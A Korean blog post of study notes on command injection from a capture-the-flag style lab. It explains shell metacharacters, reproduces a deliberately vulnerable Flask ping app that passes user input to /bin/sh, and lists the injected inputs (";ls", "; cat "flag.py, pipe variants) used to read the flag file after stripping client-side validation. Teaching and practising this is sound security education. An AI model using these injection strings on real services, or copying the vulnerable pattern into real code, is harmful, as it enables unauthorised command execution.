시스템 함수 이용 = 이미 설치된 소프트웨어들을 쉽게 이용할 수 있다.
함수의 인자를 쉘의 명령어로 전달 - 치명적인 취약점
Command Injection 취약점 = 명령어를 실행해주는 함수를 잘못 사용해서 발생
명령어를 실행하는 함수에 이용자가 임의의 인자를 전달할 수 있을 때 발생.
시스템 함수를 사용하면 이용자의 입력을 소프트웨어의 인자로 전달할 수 있다.
파이썬 웹 애플리케이션에서 입력한 임의 IP에 ping을 전송하고 싶다면
os.system("ping[user-input]") #임의 IP ping 전송
os.system("cat [user-input]") #임의 파일을 읽고자 할 때
이용자의 입력을 제대로 검사하지 않으면 임의 명령어가 실행될 수도 있다.
-> 리눅스 쉘 프로그램이 지원하는 다양한 메타 문자 때문에.
메타 문자설명 Example
`` | 명령어 치환 ``안에 들어있는 명령어를 실행한 결과로 치환됩니다. |
$ echo `echo theori` theori |
$() | 명령어 치환 $()안에 들어있는 명령어를 실행한 결과로 치환됩니다. 이 문자는 위와 다르게 중복 사용이 가능합니다. (echo $(echo $(echo theori))) |
$ echo $(echo theori) theori |
&& | 명령어 연속 실행 한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어를 실행합니다. (Logical And) |
$ echo hello && echo theori hello theori |
|| | 명령어 연속 실행 한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. 앞 명령어에서 에러가 발생해야 뒷 명령어를 실행합니다. (Logical Or) |
$ cat / || echo theori cat: /: Is a directory theori |
; | 명령어 구분자 한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. ;은 단순히 명령어를 구분하기 위해 사용하며, 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행합니다. |
$ echo hello ; echo theori hello theori |
| | 파이프 앞 명령어의 결과가 뒷 명령어의 입력으로 들어갑니다. |
echo id | /bin/sh uid=1001(theori) gid=1001(theori) groups=1001(theori) |
#!/usr/bin/env python3
import subprocess
from flask import Flask, request, render_template, redirect
from flag import FLAG
APP = Flask(__name__)
@APP.route('/')
def index():
return render_template('index.html')
@APP.route('/ping', methods=['GET', 'POST'])
def ping():
if request.method == 'POST':
host = request.form.get('host')
cmd = f'ping -c 3 "{host}"'
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('ping_result.html', data=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('ping_result.html', data='Timeout !')
except subprocess.CalledProcessError:
return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')
return render_template('ping.html')
if __name__ == '__main__':
APP.run(host='0.0.0.0', port=8000)
cmd = f 'ping -c 3 "{host}" '
입력값 필터링 처리를 개발자도구를 통해 지워준다.
pattern 부분만 지워줘야 한다. 안 그러면 입력창이 사라진다.
8.8.8.8 ";ls"를 입력했더니 파일 명이 좌라락 나온다. 그냥 zip 파일에는 flag.py가 안보이더니 ping을 날리니까 보인다.
pattern 안 지워주면 이런다.
"| cat"flag.py 입력했더니 저렇게 나왔다.
"; cat "flag.py 입력했을 때 위처럼 나온다.
"| cat "flag.py 입력 시.
&&를 입력해도 플래그가 나온다.
'Dreamhack' 카테고리의 다른 글
파일 취약점 함께 실습 (0) | 2022.08.24 |
---|---|
File Vulnarability (0) | 2022.08.24 |
암호학 - 해시 (0) | 2022.08.12 |
No SQL Injection 실습 (0) | 2022.08.11 |
SQL Injection(2) (0) | 2022.08.11 |